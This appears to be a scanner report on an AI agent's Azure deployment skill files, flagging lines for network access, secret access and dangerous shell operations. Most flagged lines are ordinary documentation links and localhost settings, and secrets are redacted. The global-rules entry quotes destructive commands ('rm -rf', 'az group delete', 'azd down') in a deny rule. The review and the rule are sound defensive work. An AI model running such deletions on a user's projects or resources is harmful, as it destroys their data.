> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-prepare/references/azure-context.md
- Network accessline 121
- Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Referen - Network accessline 122
- Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser - Network accessline 123
- Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value
harness/claude-code/skills/azure-prepare/references/functional-verification.md
- Network accessline 42
│ ├── User says yes │ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar - Network accessline 43
│ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar │ │ └── Static site? → Open in browser, verify rendering - Network accessline 44
│ │ ├── API-only / no UI? → Test endpoints with curl or similar
harness/claude-code/skills/azure-prepare/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource | - Dangerous shell operationline 33
- ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui
harness/claude-code/skills/azure-prepare/references/plan-template.md
- Network accessline 119
- **If quota CLI is NOT supported** (returns `BadRequest`): - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Network accessline 120
- Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Get limit: [Azure service limits documentation](https://l - Network accessline 121
- Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 141
- **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY - Network accessline 142
- Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic - Network accessline 143
- **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-
harness/claude-code/skills/azure-prepare/references/recipes/azd/aspire.md
- Network accessline 68
.NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd - Network accessline 106
If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`: - Access to secretsline 117
[Credential-related source omitted] - Network accessline 145
**Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version. - Network accessline 224
- [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/) - Network accessline 225
- [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/) - Network accessline 226
- [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth) - Network accessline 227
- [Samples](https://github.com/dotnet/aspire-samples)
harness/claude-code/skills/azure-prepare/references/recipes/azd/docker.md
- Access to secretsline 99
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/recipes/azd/iac-rules.md
- Network accessline 50
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 51
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 64
> ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique - Network accessline 70
- [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type
harness/claude-code/skills/azure-prepare/references/recipes/azd/terraform.md
- Network accessline 478
- [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 479
- [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform) - Network accessline 480
- [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 481
- [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)
harness/claude-code/skills/azure-prepare/references/recipes/bicep/patterns.md
harness/claude-code/skills/azure-prepare/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
harness/claude-code/skills/azure-prepare/references/research.md
- Network accessline 7
1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** - Network accessline 8
2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros - Network accessline 9
3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes
harness/claude-code/skills/azure-prepare/references/resources-limits-quotas.md
- Network accessline 59
2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 96
| Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h - Network accessline 97
|---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l - Network accessline 98
| **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer - Network accessline 158
|-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man - Network accessline 159
| "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription - Network accessline 160
| "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 210
- **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 211
- [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation - Network accessline 212
- [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits
harness/claude-code/skills/azure-prepare/references/runtimes/nodejs.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 173
# Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 174
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 175
CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 209
if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') { if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Network accessline 210
if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); } - Network accessline 211
return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Access to secretsline 241
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/security.md
- Network accessline 268
- [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview) - Network accessline 269
- [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview) - Network accessline 270
- [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 271
- [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)
harness/claude-code/skills/azure-prepare/references/services/app-service/sku-selection.md
- Network accessline 33
> 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures. - Network accessline 37
Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv - Network accessline 39
Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md
- Network accessline 37
enabled: true registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 38
registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' clientId: appRegistration.properties.appId - Network accessline 39
openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 67
web: { redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 68
redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' ] - Network accessline 69
'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 94
- [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization) - Network accessline 95
- [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/) - Network accessline 96
- [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md
- Network accessline 19
const client = jwksClient({ jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 20
jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 46
algorithms: ["RS256"], audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, - Network accessline 47
audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, }, - Network accessline 48
issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md
- Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
# Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Network accessline 42
algorithms=["RS256"], audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", - Network accessline 43
audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", ) - Network accessline 44
issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md
- Network accessline 33
| Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 34
|---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database | - Network accessline 35
| `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 87
- [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app) - Network accessline 88
- [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started) - Network accessline 89
- [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md
- Network accessline 84
- [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview) - Network accessline 85
- [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication) - Network accessline 86
- [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md
- Network accessline 25
# Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" - Network accessline 26
_REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300 # Refresh 5 minutes before expiry - Network accessline 27
_TOKEN_SCOPE = "https://redis.azure.com/.default" - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md
- Network accessline 79
- [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration) - Network accessline 80
- [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/) - Network accessline 81
- [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md
- Access to secretsline 96
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 61
[Credential-related source omitted] - Network accessline 62
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/selection.md
- Network accessline 7
Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/web-api.md
- Network accessline 15
**Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 179
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 180
- [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices) - Network accessline 181
- [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)
harness/claude-code/skills/azure-prepare/references/services/app-service/templates/web-app.md
- Network accessline 14
**Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 106
ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 108
CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 179
- [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore) - Network accessline 180
- [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs) - Network accessline 181
- [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)
harness/claude-code/skills/azure-prepare/references/services/container-apps/day2-operations.md
harness/claude-code/skills/azure-prepare/references/services/container-apps/environment.md
- Network accessline 25
{ name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' - Network accessline 26
name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' identity: managedIdentity.id - Network accessline 27
keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
harness/claude-code/skills/azure-prepare/references/services/container-apps/terraform.md
harness/claude-code/skills/azure-prepare/references/services/cosmos-db/sdk.md
- Access to secretsline 26
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/README.md
- Network accessline 28
# Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions) - Network accessline 32
# Dashboard available at http://localhost:8082 - Network accessline 49
| Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 50
|-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId - Network accessline 51
| Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 72
- [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab - Network accessline 73
- [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht - Network accessline 74
- [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - Network accessline 75
- [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview) - Network accessline 76
- [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler) - Network accessline 77
- [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md
- Network accessline 65
To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 - Network accessline 82
> **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf - Network accessline 100
> **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview) - Network accessline 20
> **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work - Network accessline 47
"FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 48
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 49
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/java.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java) - Network accessline 27
> **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version. - Network accessline 56
"FUNCTIONS_WORKER_RUNTIME": "java", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 57
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 58
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 204
public class App { public static void main(String[] args) throws Exception { String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"; - Network accessline 206
String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript) - Network accessline 21
> **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "node", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";
harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/python.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python) - Network accessline 19
> **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "python", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 194
async def main(): with DurableTaskSchedulerWorker( host_address="http://localhost:8080", - Network accessline 195
with DurableTaskSchedulerWorker( host_address="http://localhost:8080", secure_channel=False, - Network accessline 196
host_address="http://localhost:8080", - Network accessline 205
from durabletask.azuremanaged.client import DurableTaskSchedulerClient client = DurableTaskSchedulerClient( host_address="http://localhost:8080", - Network accessline 206
client = DurableTaskSchedulerClient( host_address="http://localhost:8080", taskhub="default", - Network accessline 207
host_address="http://localhost:8080",
harness/claude-code/skills/azure-prepare/references/services/event-grid/bicep.md
harness/claude-code/skills/azure-prepare/references/services/event-grid/subscriptions.md
- Network accessline 11
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 12
properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' } - Network accessline 13
endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 36
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/events' - Network accessline 37
properties: { endpointUrl: 'https://my-api.example.com/events' } - Network accessline 38
endpointUrl: 'https://my-api.example.com/events'
harness/claude-code/skills/azure-prepare/references/services/foundry/region-availability.md
- Network accessline 15
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/skills/azure-prepare/references/services/functions/README.md
- Network accessline 65
> Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 66
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 67
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:
harness/claude-code/skills/azure-prepare/references/services/functions/bicep.md
- Network accessline 86
runtime: { name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages - Network accessline 87
name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages } - Network accessline 88
version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
harness/claude-code/skills/azure-prepare/references/services/functions/templates/README.md
- Network accessline 112
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 115
> ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 116
> 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 127
| `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w - Network accessline 128
| `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` | - Network accessline 129
| `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | - Network accessline 139
GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip - Network accessline 146
1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1 - Network accessline 147
2. Filter tree entries where path starts with {folderPath}/ 3. For each file: GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 149
GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 181
**Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)
harness/claude-code/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md
